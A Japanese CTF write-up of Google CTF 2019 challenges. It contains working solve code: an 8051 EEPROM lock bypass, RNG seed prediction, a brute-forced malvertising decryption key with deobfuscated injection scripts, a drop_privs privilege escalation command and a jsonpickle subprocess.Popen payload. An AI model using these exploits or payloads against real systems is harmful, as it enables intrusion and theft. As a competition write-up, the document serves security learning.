Google CTF 2019 Qualification Round Write-up

https://capturetheflag.withgoogle.com

本編。Beginnersは[こっち](https://qiita.com/kusano_k/items/5a20a28a3e0ba27124c9)。

superflipは997点で48位。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/d2c7601f-7288-0d9a-074b-7dc43c2d2132.png)

簡単な問題はBeginnersに行っているから、難易度が高い。Solvesが最多の問題でも148チーム、次が134チーム。それ以外の問題は多くとも2桁チームしか解いていない。

このUI止めてほしい。あと、問題タイトルや問題文がマウスで選択しづらい。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">CTFで「簡単な問題が残っていないかな～」と順番に問題を見ていくことを良くするのだけど、Google CTFはあるジャンルを選択するとそのジャンルは横並びの一覧から消えるので、この操作がめっちゃつらかった。どうしてこんなことに……。 <a href="https://t.co/Kd3kRdMEye">pic.twitter.com/Kd3kRdMEye</a></p>&mdash; kusanoさん@がんばらない (@kusano_k) <a href="https://twitter.com/kusano_k/status/1143119033614528513?ref_src=twsrc%5Etfw">2019年6月24日</a></blockquote>

## CRYPTO

### Reverse a cellular automata (80 pts, 148 solved)

> It's hard to reverse a step in a cellular automata, but solvable if done right.
>
> https://cellularautomata.web.ctfcompetition.com/

ウェブページを見に行くと、問題の説明と、答えの64ビット値からフラグを復号するコマンドが書かれている。

[Rule 126](http://mathworld.wolfram.com/Rule126.html)で

```
110011011011110001111000001101111111000011111111101111111001111
```

を1ステップ戻せというのが問題。これは1次元の[ライフゲーム](https://ja.wikipedia.org/wiki/%E3%83%A9%E3%82%A4%E3%83%95%E3%82%B2%E3%83%BC%E3%83%A0)。あるマスは周囲3マスの状態で次の世代で生きるか死ぬかが決まり、3マスの8通りの状態を8ビットとみなして0から255の番号をつけて研究対象にされている。Rule 126は、3マスが全部死んでいるか全部生きているなら次の世代は死に、それ以外は生きる。

前の世代を右から1ビットずつ探索していくことを考える。

```
prev: ...abc...
cur:  ....x....
```

`bc=00`もしくは`bc=11`のとき、`x=0`ならば`a=b`、`x=1`ならば`a!=b`。`bc=01`もしくは`bc=10`のとき、`x=0`ならばここまでの仮定が間違っていて、`x=1`ならば`a`は`0`でも`1`でも良い。ということは、平均して2回に1回しか`a`の値が2通りになることもないし、枝刈りも効くので、せいぜい$2^{32}$程度の探索で前の状態が求まる。

```solve.py
n = 64

def rule126(a):
  b = 0
  for i in range(n):
    c = 0
    for j in range(-1, 2):
      c += a>>((i+j)%n)&1
    if 0<c<3:
      b |= 1<<i
  return b

def bt(a, b, p):
  if p>=n:
    if rule126(a)==b:
      a = "%x"%a
      a = "0"*(len(a)-n/4)+a
      print a
    return
  for x in range(2):
    if p>=2:
      c = x
      for j in range(-2, 0):
        c += a>>((p+j)%n)&1
      if int(0<c<3) != (b>>(p-1)&1):
        continue
    bt(a|x<<p, b, p+1)

bt(0, 0x66de3c1bf87fdfcf, 0)
```

次の世代が`0x66de3c1bf87fdfcf`になる状態は10,752個もあった。`CTF{答え}`をフラグにしなかったのはこのためか。全部試して`CTF{...}`になるものを探す。

```solve.sh
cat key.txt | while read k
do
  echo $k > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
  echo
  echo $k
  echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
done
```

```log.txt
3c73e80ecfcd767a
ﾗ・ﾚ4偈ｶw?・{ｺlｯﾀ(若/<XH・ｦ:"Nｸ
雰瞳?ｩﾞ・
3c74180ecfcd767a
ﾍﾓⅷｯｻ L剴Y-ｦｲcs坎
阻､Vﾖｾ{s疇 顴・・ﾞ訝F
3c73e7f12fcd767a
CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}

3c7417f12fcd767a
o ・・ﾝ4ﾊﾉyﾚjサ寥屡k｣ﾒ_ﾏ[
ﾙSn綯9・賴〇iﾎ汁
```

`CTF{reversing_cellular_automatas_can_be_done_bit_by_bit}`

### Quantum Key Distribution (92 pts, 134 solved)

> Generate a key using Quantum Key Distribution (QKD) algorithm and decrypt the flag.
>
> https://cryptoqkd.web.ctfcompetition.com/

ページを見ると、同じように問題の説明とフラグの復号方法が書かれている。

量子鍵配送。[BB84](https://ja.wikipedia.org/wiki/%E9%87%8F%E5%AD%90%E9%8D%B5%E9%85%8D%E9%80%81#BB84_protocol:_Charles_H._Bennett_and_Gilles_Brassard_\(1984\))。脆弱性を突く必要も無くて、送信側を素直に実装すれば良い。

別に盗聴者がいるわけでもなし、「ランダムなビット」は`000000...`でいいか。とやったら、`{"error": "your random key is not random enough!"}`と怒られた。

問題に書かれているコードは`binary_key`と`sat_basis`を返す。`binary_key`がWikipediaの説明の共有鍵。サーバーからのレスポンスは、

> basis: List of '+' and 'x' used by the satellite.
> announcement: Shared key (in hex), the encryption key is encoded within this key.

これでどうするのかでちょっと悩んだけれど、`binary_key`とencryption keyのxorがannouncementだった。前の問題と違って、複数候補が出るわけでもなし、これがフラグでも良かったのでは。

```solve.py
import urllib2
import json
import random

random.seed(1234)

n = 128

d = {
  "basis": [],
  "qubits": [],
}
value = []

for _ in range(n*4):
  b = random.choice("+x")
  v = random.choice([0, 1])
  q = [1, 1j][v]
  if b=="x":
    q /= 0.707-0.707j
  d["basis"] += [b]
  d["qubits"] += [{"real": q.real, "imag": q.imag}]
  value += [v]

req = urllib2.Request(
  "https://cryptoqkd.web.ctfcompetition.com/qkd/qubits",
  json.dumps(d),
  {"Content-Type": "application/json"})
ret = urllib2.urlopen(req).read()
ret = json.loads(ret)

share = ""
for i in range(n*4):
  if len(share)>=n:
    break
  if d["basis"][i]==ret["basis"][i].decode("utf-8"):
    share += str(value[i])

key = int(share, 2) ^ int(ret["announcement"], 16)
key = "%x"%key
key = "0"*(n/4-len(key))+key

print "key:", key
```

```shell-session
$ python solve.py
key: 946cff6c9d9efed002233a6a6c7b83b1
$ echo "946cff6c9d9efed002233a6a6c7b83b1" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
$ echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
CTF{you_performed_a_quantum_key_exchange_with_a_satellite}
```

`CTF{you_performed_a_quantum_key_exchange_with_a_satellite}`

## HARDWARE

### flagrom (187 pts, 57 solved)

> This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.
>
> nc flagrom.ctfcompetition.com 1337

おお、問題サーバーの裏でボードが実際に動いているのか！？と思いきや、そんなことはなくて、配布ファイルのバイナリのシンボル名を見るに、[Verilator](https://www.veripool.org/wiki/verilator)というツールでVerilog HDLのコードをシミュレートしているらしい。ということで、配布ファイル単体で動かせる。DoS対策用にMD5を計算させられる処理があり、色々と試すのは面倒なので、このチェックを潰してローカルで動かすと楽。

seeprom.svがVerilog HDLのコードで「SecureEEPROM」実装している。firmware.8051はフラグをこのROMに書き込んで、読み込めないようにロックを掛ける。その後にこちらが指定したプログラムを実行してくれる。

まずはseeprom.svを読む。

```verilog
 :
wire i2c_control_rw = i2c_control[0];
 :
```

このような`=`は代入ではなく、`i2c_control_rw`と`i2c_control`の最下位ビットにあたる配線を繋ぐという定義なので、`i2c_control`が書き換われば、その都度`i2c_control_rw`の値も変わる。

代入にあたるのは`<=`で、例えばこのコード

```verilog
always_ff @(posedge i_clk) begin
 :
  case (i2c_state)
    I2C_IDLE: begin
      if (i2c_start) begin
        i2c_state <= I2C_START;
      end
    end
 :
```

で、「`i_clk`が`0`から`1`になるとき、`i2c_state==I2C_IDLE`かつ`i2c_start!=0`ならば、`i2c_state`の値を`I2C_START`に変える」という意味になる。

処理は上から順番に実行されるわけではなく、全ての処理が同時に起こる。

SecureEEPROMのSecureな部分がどう実装されているかを見ていくと、

* 最初にアドレスをロードするときにそのアドレスがロックされていれば`i2c_address_valid <= 0`として弾く
* 読み進めるときに、現在のアドレスと次のアドレスのロックの状態が異なれば弾く

という処理になっている。ここに脆弱性があって、まずロックされていないアドレスをロードして、読み進める途中に次のアドレスをロックすると、元からロックされていた部分もそのまま読んでしまう。

firmware.cを参考に攻撃するコードを書く。[SDCC](http://sdcc.sourceforge.net/)というツールでコンパイルできる。

```firmware.c
 :
const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const SEEPROM_I2C_ADDR_SECURE = 0b01010000;
 :
```

がコンパイルエラーになるので、`int`を追加。

変数名の通り[I2C](http://www.picfun.com/c15.html)で通信しているのだけど、I2Cのマスター側の処理が直接firmware.cに書かれているわけではない。

```firmware.c
 :
// I2C-M module/chip control data structure.
__xdata __at(0xfe00) unsigned char I2C_ADDR; // 8-bit version.
__xdata __at(0xfe01) unsigned char I2C_LENGTH;  // At most 8 (excluding addr).
__xdata __at(0xfe02) unsigned char I2C_RW_MASK;  // 1 R, 0 W.
__xdata __at(0xfe03) unsigned char I2C_ERROR_CODE;  // 0 - no errors.
__xdata __at(0xfe08) unsigned char I2C_DATA[8];  // Don't repeat addr.
__sfr __at(0xfc) I2C_STATE;  // Read: 0 - idle, 1 - busy; Write: 1 - start
 :
```

この部分のメモリを使ってSecureEEPROMと通信する「I2C-M module/chip」が別にいるらしい。こいつが送信のたびにI2CのSTOPシーケンスを送るので、SecureEEPROMで`i2c_address_valid <= 0`が実行されてしまう。

仕方が無いので、I2C通信を自分で実装。firmware.cでは使われていないのに、

```firmware.c
 :
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
 :
```

と定義が書かれていて優しい。

```read_flag.c
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) DEBUG;
__sfr __at(0xfd) CHAROUT;

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

const int SEEPROM_I2C_ADDR_MEMORY = 0b10100000;
const int SEEPROM_I2C_ADDR_SECURE = 0b01010000;

void start() {
  RAW_I2C_SCL = 0;
  RAW_I2C_SDA = 1;
  RAW_I2C_SCL = 1;
  RAW_I2C_SDA = 0;
}

void send(unsigned char c) {
  int i;
  for (i=0; i<8; i++)
  {
    RAW_I2C_SCL = 0;
    RAW_I2C_SDA = c>>(7-i)&1;
    RAW_I2C_SCL = 1;
  }

  // ack
  RAW_I2C_SCL = 0;
  CHAROUT = '0'+RAW_I2C_SDA;
  RAW_I2C_SCL = 1;
}

unsigned char recv() {
  int i;
  unsigned char c = 0;
  for (i=0; i<8; i++)
  {
    RAW_I2C_SCL = 0;
    c = c<<1 | RAW_I2C_SDA;
    RAW_I2C_SCL = 1;
  }

  RAW_I2C_SCL = 0;
  RAW_I2C_SDA = 0;
  RAW_I2C_SCL = 1;

  return c;
}

void main(void) {
  int i;
  start();
  send(SEEPROM_I2C_ADDR_MEMORY);
  send(0x00);
  start();
  send(SEEPROM_I2C_ADDR_SECURE | 0b1111);
  start();
  send(SEEPROM_I2C_ADDR_MEMORY | 1);
  for (i=0; i<128; i++)
    CHAROUT = recv();
  POWEROFF = 1;
}
```

```
>sdcc read_flag.c

>makebin read_flag.ihx read_flag.bin
```

```read_flag.py
from socket import *
from hashlib import *
from time import *

payload = open("read_flag.bin", "rb").read()

s = socket(AF_INET, SOCK_STREAM)
s.connect(("flagrom.ctfcompetition.com", 1337))

sleep(1)
d = s.recv(999)
print d
prefix = d[-8:-2]
print prefix

i = 0
for i in xrange(0x10000000):
  proof = "flagrom-%d"%i
  if md5(proof).hexdigest()[:6]==prefix:
    break
print proof
s.send(proof+"\n")

sleep(1)
print s.recv(999)
s.send("%d\n"%len(payload))
s.send(payload)

ret = ""
while True:
  d = s.recv(999)
  if d=="":
    break
  ret += d
print ret
```

```
>py -2 read_flag.py
What's a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 1b3d61?

1b3d61
flagrom-25027629
What's the length of your payload?

Executing firmware...
[FW] Writing flag to SecureEEPROM...............DONE
[FW] Securing SecureEEPROM flag banks...........DONE
[FW] Removing flag from 8051 memory.............DONE
[FW] Writing welcome message to SecureEEPROM....DONE
Executing usercode...
0000Hello there.                                                    CTF{flagrom-and-on-and-on}

Clean exit.
```

`CTF{flagrom-and-on-and-on}`

## MISC

### Doomed to Repeat It (173 pts, 65 solved)

> Play the classic game Memory. Feel free to download and study the source code.
> https://doomed.web.ctfcompetition.com/

Goで書かれた神経衰弱。

はい乱数推測。

```random.go
 :
// OsRand gets some randomness from the OS.
func OsRand() (uint64, error) {
	// 64 ought to be enough for anybody
	var res uint64
	if err := binary.Read(rand.Reader, binary.LittleEndian, &res); err != nil {
		return 0, fmt.Errorf("couldn't read random uint64: %v", err)
	}
	// Mix in some of our own pre-generated randomness in case the OS runs low.
	// See Mining Your Ps and Qs for details.
	res *= 14496946463017271296
	return res, nil
}

// deriveSeed takes a raw seed (e.g. some OS randomness), and derives a secure
// seed. Returns exactly 8 bytes.
func deriveSeed(rawSeed uint64) ([]byte, error) {
	buf := make([]byte, 8)
	binary.LittleEndian.PutUint64(buf, rawSeed)
	// We want to make the game (Memory) hard, so thus we use argon2,
	// which is memory-hard.
	// https://password-hashing.net/argon2-specs.pdf
	// argon2 is the pinnacle of security. Nothing is more secure.
	// This is because memory is a valuable resource, one does not simply
	// download more of it.
	// We use IDKey because it protects against timing attacks (Key doesn't).
	// We lowered some parameters to protect against DDOS attacks.
	// TODO: implement proof of work
	seed := argon2.IDKey(buf, buf, 1, 2*1024, 2, 8)
	if len(seed) != 8 {
		return nil, errors.New("argon2 returned bad size")
	}
	return seed, nil
}

// New generates state for a new random stream with cryptographically secure
// randomness.
func New() (*Rand, error) {
	osr, err := OsRand()
	if err != nil {
		return nil, fmt.Errorf("couldn't get OS randomness: %v", err)
	}
	return NewFromRawSeed(osr)
}
 :
```

OSから乱数を64ビット読んでしっかり初期化しているし、暗号論的乱数を使っている……？ように見えて、`res *= 14496946463017271296`がダメ。`14496946463017271296=0xc92f800000000000`。これを掛けると下位47ビットは常に0になって、17ビット分しか残らない。

Goは書き慣れていなくてサーバーとの通信を書くのが大変だし、乱数の初期化が重くて繋いだ後に探索していたら間に合わないので、可能性のある札の並びを全て事前に生成。

```make_table.go
package main

import (
	"./7d6680177ddf33167700f021db01c260fac0b25cc05e28d3803a224046fee461/random"
	"fmt"
)

func board(seed uint64) [56]int {
	rand, _ := random.NewFromRawSeed(seed)
	b := [56]int{}
	for i, _ := range b {
		b[i] = i / 2
	}
	// https://github.com/golang/go/wiki/SliceTricks#shuffling
	for i := 56 - 1; i > 0; i-- {
		j := rand.UInt64n(uint64(i) + 1)
		b[i], b[j] = b[j], b[i]
	}
	return b
}

func main() {
	for i := 0; i < 0x20000; i++ {
		fmt.Println(board(uint64(i)*14496946463017271296))
	}
}
```

```
>go build make_table.go

>make_table.exe > table.txt
```

後は慣れたPythonで通信部分を書く。札が56枚で、60枚までめくれるので、最初に5枚はめくって良い。5枚目を開けたままにしておいて、合致する札の並びを探し、それから5枚目と同じ数字を6枚目とする。

```solve.py
# pip install websocket-client
import websocket
import json

ws = websocket.create_connection(
  "wss://doomed.web.ctfcompetition.com/ws",
  origin="https://doomed.web.ctfcompetition.com")

ws.send(json.dumps({"op": "info"}))
print ws.recv()

board = [-1]*56
for i in range(5):
  ws.send(json.dumps({"op": "guess", "body": {"x": i, "y": 0}}))
  d = ws.recv()
  print d
  board[i] = json.loads(d)["board"][i]
print "board:", board

answer = []
for l in open("table.txt"):
  l = map(int, l[1:-2].split())
  if l[:5]==board[:5]:
    answer = l
    break
else:
  print "not found"
  exit(0)
print "found"
print "answer:", answer

last = answer[4]
answer[4] = -1
t = answer.index(last)
ws.send(json.dumps({"op": "guess", "body": {"x": t%7, "y": t/7}}))
print ws.recv()

for i in range(28):
  if i!=last:
    for j in range(2):
      t = answer.index(i)
      answer[t] = -1
      ws.send(json.dumps({"op": "guess", "body": {"x": t%7, "y": t/7}}))
      print ws.recv()
```

```
>>py -2 solve.py
{"width":7,"board":[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1],"maxTurns":60,"maxTurnTime":10,"turnsUsed":0,"done":false,"message":"","clear":[]}
 :
{"width":7,"board":[24,17,5,13,1,10,24,19,8,14,3,6,19,18,3,26,1,18,9,21,4,2,25,15,20,14,11,5,25,16,2,12,23,22,23,13,22,11,8,9,12,0,20,16,21,26,7,0,4,27,7,15,17,10,6,-1],"maxTurns":60,"maxTurnTime":10,"turnsUsed":59,"done":false,"message":"","clear":[]}

{"width":7,"board":[24,17,5,13,1,10,24,19,8,14,3,6,19,18,3,26,1,18,9,21,4,2,25,15,20,14,11,5,25,16,2,12,23,22,23,13,22,11,8,9,12,0,20,16,21,26,7,0,4,27,7,15,17,10,6,27],"maxTurns":60,"maxTurnTime":10,"turnsUsed":60,"done":true,"message":"You win! Flag: CTF{PastPerf0rmanceIsIndicativeOfFutureResults}","clear":[]}
```

websocket-clientのここで、`Origin:`ヘッダが`http://`に固定されているので、`https://`を指定しないと弾かれた。どうなっているのが正しいのだろう。

https://github.com/websocket-client/websocket-client/blob/3c25814664fef5b78716ed8841123ed1c0d17824/websocket/_handshake.py#L115

`CTF{PastPerf0rmanceIsIndicativeOfFutureResults}`

## REVERSING

### Dialtone (189 pts, 56 solved)

> You might need a pitch-perfect voice to solve this one. Once you crack the code, the flag is CTF{code}.

逆アセンブルしたら1,000行以上になったし、SSEも使っているし、WSLで動かない。

```shell-session
$ ./a.out
shared memfd open() failed: Function not implemented
pa_simple_new() failed: Connection refused
```

とはいえ、読むべきコードは少なかった。`r`の返り値が非負ならば`SUCCESS`。`r`の後半を見ると、ループ中で`[rbp-0x2c]`が順に`0x9, 0x5, 0xa, 0x6, 0x9, 0x8, 0x1, 0xd, 0x0`ではないときに終了している。`[rbp-0x2c]`どうやって決まっているかを見てみると、1366とか1477とかの定数と`f`の返り値を比較している。この定数でググると[DTMF](https://ja.wikipedia.org/wiki/DTMF)。高群と低群が何番目の周波数かを、それぞれ下位と上位の2ビットに入れている。

`CTF{859687201}`

### Malvertising (140 pts, 87 solved)

> Unravel the layers of malvertising to uncover the Flag
> https://malvertising.web.ctfcompetition.com/

このようなサイト。

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3c748aa5-1be1-1807-c0c7-d1c942e83ab9.png"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/3c748aa5-1be1-1807-c0c7-d1c942e83ab9.png" width="640"></a>

YouTubeっぽい部分は全部画像で、`"Your advertisement here"`のところが`<iframe>`。この部分を解析しろという問題。アドネットワーク経由で悪意のあるコードをばらまくのには、出題者のGoogleも思うところがあるのか。

```metrics.js
 :
var s = b('0x16', '%RuL');
var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK'));
t[b('0x19', 'F#*Z')] = function() {
    try {
        var u = steg[b('0x1a', 'OfTH')](t);
    } catch (v) {}
    if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i[b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
        s[s][s](u)();
    }
}
;
```

`b`が文字列を難読化している関数。グローバル関数なので、後から開発者コンソールで呼び出すと文字列が分かる。これを置き換えて、`obj['name']`を`obj.name`に直したりすると、

```metrics.js
 :
var s = 'constructor';
var t = document.getElementById('adimg');
t.onload = function() {
    try {
        var u = steg.decode(t);
    } catch (v) {}
    if (Number(/android/i.test(navigator.userAgent))) {
        s.constructor.constructor(u)();
    }
}
;
```

Androidならば、`u`が実行される。UAを変えてみると https://malvertising.web.ctfcompetition.com/ads/src/uHsdvEHFDwljZFhPyKxp.js が読みこまれる。

```uHsdvEHFDwljZFhPyKxp.js
 :
function dJw() {
  try {
    return (
      navigator.platform.toUpperCase().substr(0, 5) +
      Number(/android/i.test(navigator.userAgent)) +
      Number(/AdsBot/i.test(navigator.userAgent)) +
      Number(/Google/i.test(navigator.userAgent)) +
      Number(/geoedge/i.test(navigator.userAgent)) +
      Number(/tmt/i.test(navigator.userAgent)) +
      navigator.language.toUpperCase().substr(0, 2) +
      Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) +
      Number(/geoedge/i.test(document.referrer)) +
      Number(/tmt/i.test(document.referrer)) +
      performance.navigation.type +
      performance.navigation.redirectCount +
      Number(navigator.cookieEnabled) +
      Number(navigator.onLine) +
      navigator.appCodeName.toUpperCase().substr(0, 7) +
      Number(navigator.maxTouchPoints > 0) +
      Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) +
      navigator.plugins.length);
  } catch (e) {
    return 'err'
  }
};

a="A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
eval(T.d0(a, dJw()));
```

`dJw`でユーザーの環境情報を収集して文字列化し、`T.d0`でこれを鍵として`a`を復号することで、特定のユーザー以外ではスクリプトが実行されず、スクリプトを解析することもできないようにしている。が、`T.d0`は鍵の先頭16文字しか使っていない。Androidならば`platform`は`Android`か`Linux`。`language`は2文字。`type`は先頭1文字が使われ、`0`か`1`か`2`。他は`0`か`1`なので充分探索できる。

ここでハマった。uHsdvEHFDwljZFhPyKxp.jsがBase64を復号するとき、`atob`があれば使うし、無ければ`Buffer.prototype.toString('base64')`を使う。両者の挙動が（たぶんUnicodeとして正しくない文字とかで）違う。nodeで実行していたら探索に失敗したけれど、ブラウザで実行したら上手く行った。

```search.js
// uHsdvEHFDwljZFhPyKxp.jsのevalより前をコピペ

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for (var b=0; b<1<<8; b++)
  for (var l0 of A)
    for (var l1 of A)
      for (var type=0; type<=2; type++)
      {
        //var key = "ANDRO";
        var key = "LINUX";
        //var key = "NULL";
        for (var i=0; i<5; i++)
          key += b>>i&1;
        key += l0 + l1;
        for (var i=5; i<8; i++)
          key += b>>i&1;
        key += type;
        code = String(T.d0(a, key));
        ok = true;
        try {
          eval(code);
        } catch (e) {
          if (e instanceof SyntaxError)
            ok = false;
        }
        if (ok)
          console.log(key + " " + code);
      }
```

```search.html
<script src="search.js"></script>
```

```
 :
LINUX00000HV1000 1=mä¹3oê|ÑÕ«ØFz#OGý®ü5­I¿,JZ5T::¼o½?Ú3,Gl¦kUÞàC´Ùó5/H2Ë"«ée&ÊÝÂ4x^9gnMJªUV¿¦UC¡
b^ø
LINUX10000FR1000 var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs);
LINUX10000GT1002 2=#q?)Ä<ØdëÌý+px0¶^ô>ÅÌ}
&Ú6!KÜfÝ½|ÚPèã¨5ãÅ×3×°ÖÆÃÂCÑ79¶ðÇ
}2¾<l°ÚîX­½¯ °U5dAyØ»öÇ¼
¯]~N_PÑZáø¿«D1
 :
```

npoTHyBXnpZWgLorNrYc.jsの解析がつらい。WebRTC関係の何かを動かそうとしていてエラーで落ちるし、どこから読んでいるのかわからない`debug`でデバッガが停められる。でも、全部解析する必要は無く、最後だけ読めば良かった。

```npoTHyBXnpZWgLorNrYc.js
 :
    try {
        if (_0x2fd47c) {
            if ('\x61\x5a\x71\x47\x6d' === _0x5877('0x7f', '\x2a\x62\x78\x5e')) {
                return _0x5e9e2d;
            } else {
                var _0x14d30a = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
                var _0x4f8041 = _0x14d30a[_0x5877('0x80', '\x21\x38\x29\x66')](candidate)[0x1];
                if (_0x4f8041) {
                    if (_0x4f8041[_0x5877('0x81', '\x46\x28\x45\x23')](/192.168.0.*/)) {
                        var _0xb9e15d = document[_0x5877('0x82', '\x74\x50\x24\x59')](_0x5877('0x83', '\x28\x46\x73\x21'));
                        _0xb9e15d[_0x5877('0x84', '\x61\x4c\x55\x76')](_0x5877('0x85', '\x69\x4f\x61\x28'), _0x5877('0x86', '\x5e\x39\x49\x2a'));
                        document['\x68\x65\x61\x64'][_0x5877('0x87', '\x77\x28\x7a\x4f')](_0xb9e15d);
                    }
                }
            }
        } else {
            if (_0x5877('0x88', '\x6a\x45\x78\x40') !== _0x5877('0x89', '\x45\x37\x4f\x24')) {
                _0x5e9e2d(0x0);
            } else {
                _0x5e9e2d(0x0);
            }
        }
    } catch (_0x7adc77) {}
```

難読化されている文字列などを戻すと、

```npoTHyBXnpZWgLorNrYc.js
 :
    try {
        if (_0x2fd47c) {
            if ('aZqGm' === 'aZqGm') {
                return _0x5e9e2d;
            } else {
                var _0x14d30a = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/;
                var _0x4f8041 = _0x14d30a.exec(candidate)[0x1];
                if (_0x4f8041) {
                    if (_0x4f8041.match(/192.168.0.*/)) {
                        var _0xb9e15d = document.createElement('script');
                        _0xb9e15d.setAttribute('src', './src/WFmJWvYBQmZnedwpdQBU.js');
                        document.head.appendChild(_0xb9e15d);
                    }
                }
            }
        } else {
            if ('PYyVn' !== 'XVaYV') {
                _0x5e9e2d(0x0);
            } else {
                _0x5e9e2d(0x0);
            }
        }
    } catch (_0x7adc77) {}
```

```WFmJWvYBQmZnedwpdQBU.js
alert("CTF{I-LOVE-MALVERTISING-wkJsuw}")
```

`CTF{I-LOVE-MALVERTISING-wkJsuw}`

## SANDBOX

### DevMaster 8000 (136 pts, 90 solved)

> Welcome to the DevMaster 8000, your one-stop shop for building your binaries in the cloud!
>
> I wonder who else might be sharing the DevMaster 8000.
>
> nc devmaster.ctfcompetition.com 1337

えらく重厚なプログラム。README.mdを読むと、

```
client nc <ip> <port> -- header.h source.cc -- my_binary -- g++ source.cc -o my_binary
```

のように使うと、サーバーでコンパイルしてバイナリを返してくれるらしい。

```c
int array[] = {
#include "hoge.csv"
};
```

みたいな技があるし、そんな感じでフラグを読むのかな？　でも、コンパイルのコマンドも指定できるなら、`g++`の代わりに`cat`で良いのでは？　と試してみたらエラー。

```shell-session
built_bins$ ./client nc devmaster.ctfcompetition.com 1337 -- -- -- cat /home/user/flag
cat: /home/user/flag: Permission denied
```

管理者パスワードの照合処理を見てみる。

```admin.cc
 :
char pieces[4] = { IsPrime<416>::eval + '9', IsPrime<1567>::eval + 'c', IsPrime<443>::eval + 'd' , '\0'};

int main(int argc, char** argv) {
  std::cout << "Enter your password please." << std::endl;
  std::string password;
  getline(std::cin, password);

  std::string expected_hash = std::string(pieces) + "31205d449bc376d0dacb39bf25f4729999bd78d69695fd8dc211c2306209b";
  std::string actual_hash = picosha2::hash256_hex_string(password);
  if (expected_hash == actual_hash) {
 :
```

コンパイル時に素数判定をしている。`9de312...`になる。どうせ逆算できないので意味が無い。

権限はdrop_privsというプログラムで落としているらしい。落とせるならば与えることもできるだろうか？　と試してみたらできた。

```shell-session
built_bins$ ./client nc devmaster.ctfcompetition.com 1337 -- -- -- /home/user/drop_privs admin admin cat /hom
e/user/flag
CTF{two-individually-secure-sandboxes-may-together-be-insecure}
```

「two-individually-secure-sandboxes」のもう1個は何だろう。

`CTF{two-individually-secure-sandboxes-may-together-be-insecure}`

## WEB

### bnv (155 pts, 76 solved)

> There is not much to see in this enterprise-ready™ web application.
>
> https://bnv.web.ctfcompetition.com/

最後はずっとこの問題を考えていて、解けなかった。

検索する都市名をJavaScriptで変換して、JSONでAPIに投げている。`zurich`ならば`135601360123502401401250`になる。これは[英語の点字](https://ja.wikipedia.org/wiki/%E8%8B%B1%E8%AA%9E%E3%81%AE%E7%82%B9%E5%AD%97)。

```
1 4
2 5
3 6
```

サイトのロゴも点字。

![logo.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/7f984ee8-fa7e-b964-1025-9a412b8d5622.png)

```
Welcome to the official site of the
associN of the people who are bl
```

ちょっとおかしい。`association`と`blind`だろうか。

点字は記号も表現できるし、結果が出力されるHTML要素のIDが`database-data`なので、SQLインジェクションかな？　と思ったが、英字26文字以外の点字は無視される。検索が完全一致なので分かる。

`server:`ヘッダが`gunicorn/19.9.0`なので、Python。[jsonpickle](https://jsonpickle.github.io/)を使っていて、

```json
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}
```

とかで攻撃できるのだろうかと考えたが、不発。

サーバーからの応答時間が、2グループに分かれることに気が付いて、サイドチャネル的な何かがあるのかと思ったけれど、何も無し。下のグラフはトップページの応答時間。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/aeaf8f38-a23a-ab24-884b-9c297a93f719.png)

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">bnvはxmlを受け付けることを気合で当てるとエラーメッセージが見えるXXEです。Firstblood取れた自分を褒めたい</p>&mdash; icchy (@icchyr) <a href="https://twitter.com/icchyr/status/1142947081738309632?ref_src=twsrc%5Etfw">2019年6月24日</a></blockquote>

JSONのAPIがあったら、「XMLも受け付けるかも？」と考えるのか。

